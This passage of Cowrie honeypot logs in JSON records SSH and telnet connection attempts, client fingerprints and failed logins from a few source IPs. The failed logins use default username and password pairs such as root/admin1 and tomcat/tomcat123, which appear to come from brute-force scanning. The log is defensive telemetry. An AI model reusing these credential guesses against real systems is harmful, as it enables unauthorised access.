a-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:41.601651Z","src_ip":"192.109.200.78","session":"9fcf331f7ede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:41.917834Z","src_ip":"192.109.200.78","session":"9fcf331f7ede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32846,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f66df5ff1b7","protocol":"ssh","message":"New connection: 159.203.92.129:32846 (159.203.135.109:22) [session: 1f66df5ff1b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:42.102538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:42.107186Z","src_ip":"159.203.92.129","session":"1f66df5ff1b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:42.111769Z","src_ip":"159.203.92.129","session":"1f66df5ff1b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"W.01-.Mqxz1WLQC","message":"login attempt [admin/W.01-.Mqxz1WLQC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:42.124009Z","src_ip":"159.203.92.129","session":"1f66df5ff1b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:43.005970Z","src_ip":"192.109.200.78","session":"9fcf331f7ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:43.134604Z","src_ip":"159.203.92.129","session":"1f66df5ff1b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51242,"dst_ip":"10.17.0.5","dst_port":22,"session":"8eea13c97b92","protocol":"ssh","message":"New connection: 192.109.200.78:51242 (10.17.0.5:22) [session: 8eea13c97b92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:44.625613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:44.629626Z","src_ip":"192.109.200.78","session":"8eea13c97b92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:44.711738Z","src_ip":"192.109.200.78","session":"8eea13c97b92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:44.961544Z","src_ip":"192.109.200.78","session":"8eea13c97b92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:46.181179Z","src_ip":"192.109.200.78","session":"8eea13c97b92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44954,"dst_ip":"10.17.0.5","dst_port":22,"session":"15f638617c74","protocol":"ssh","message":"New connection: 192.109.200.78:44954 (10.17.0.5:22) [session: 15f638617c74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:49.740201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:49.745060Z","src_ip":"192.109.200.78","session":"15f638617c74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:49.834187Z","src_ip":"192.109.200.78","session":"15f638617c74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:50.092783Z","src_ip":"192.109.200.78","session":"15f638617c74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:51.202318Z","src_ip":"192.109.200.78","session":"15f638617c74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44956,"dst_ip":"10.17.0.5","dst_port":22,"session":"48845c8c45d5","protocol":"ssh","message":"New connection: 192.109.200.78:44956 (10.17.0.5:22) [session: 48845c8c45d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:52.727906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:52.732655Z","src_ip":"192.109.200.78","session":"48845c8c45d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:52.815978Z","src_ip":"192.109.200.78","session":"48845c8c45d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:53.069146Z","src_ip":"192.109.200.78","session":"48845c8c45d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:54.154365Z","src_ip":"192.109.200.78","session":"48845c8c45d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.61687135696411,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:54.611257Z","src_ip":"5.42.229.203","session":"ca6d3d00c354","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44958,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c57dd6b2850","protocol":"ssh","message":"New connection: 192.109.200.78:44958 (10.17.0.5:22) [session: 1c57dd6b2850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:56.743557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:56.748610Z","src_ip":"192.109.200.78","session":"1c57dd6b2850","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:57.136749Z","src_ip":"192.109.200.78","session":"1c57dd6b2850","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:57.391915Z","src_ip":"192.109.200.78","session":"1c57dd6b2850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:35:58.633489Z","src_ip":"192.109.200.78","session":"1c57dd6b2850","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.229.203","src_port":42678,"dst_ip":"159.203.135.109","dst_port":23,"session":"448cd08c7971","protocol":"telnet","message":"New connection: 5.42.229.203:42678 (159.203.135.109:23) [session: 448cd08c7971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:00.730706Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47922,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ad49c7df681","protocol":"ssh","message":"New connection: 192.109.200.78:47922 (10.17.0.5:22) [session: 1ad49c7df681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:00.975132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:01.065091Z","src_ip":"192.109.200.78","session":"1ad49c7df681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:01.072366Z","src_ip":"192.109.200.78","session":"1ad49c7df681","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:01.401873Z","src_ip":"192.109.200.78","session":"1ad49c7df681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:02.490616Z","src_ip":"192.109.200.78","session":"1ad49c7df681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47946,"dst_ip":"10.17.0.5","dst_port":22,"session":"8773455ba5c8","protocol":"ssh","message":"New connection: 192.109.200.78:47946 (10.17.0.5:22) [session: 8773455ba5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:05.115047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:05.120296Z","src_ip":"192.109.200.78","session":"8773455ba5c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:05.203723Z","src_ip":"192.109.200.78","session":"8773455ba5c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"backup","message":"login attempt [backup/backup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:05.449508Z","src_ip":"192.109.200.78","session":"8773455ba5c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:06.535800Z","src_ip":"192.109.200.78","session":"8773455ba5c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":49934,"dst_ip":"10.17.0.5","dst_port":22,"session":"1275d79532df","protocol":"ssh","message":"New connection: 192.109.200.78:49934 (10.17.0.5:22) [session: 1275d79532df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:09.214459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:36:09.218997Z","src_ip":"192.109.200.78","session":"1275d79532df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 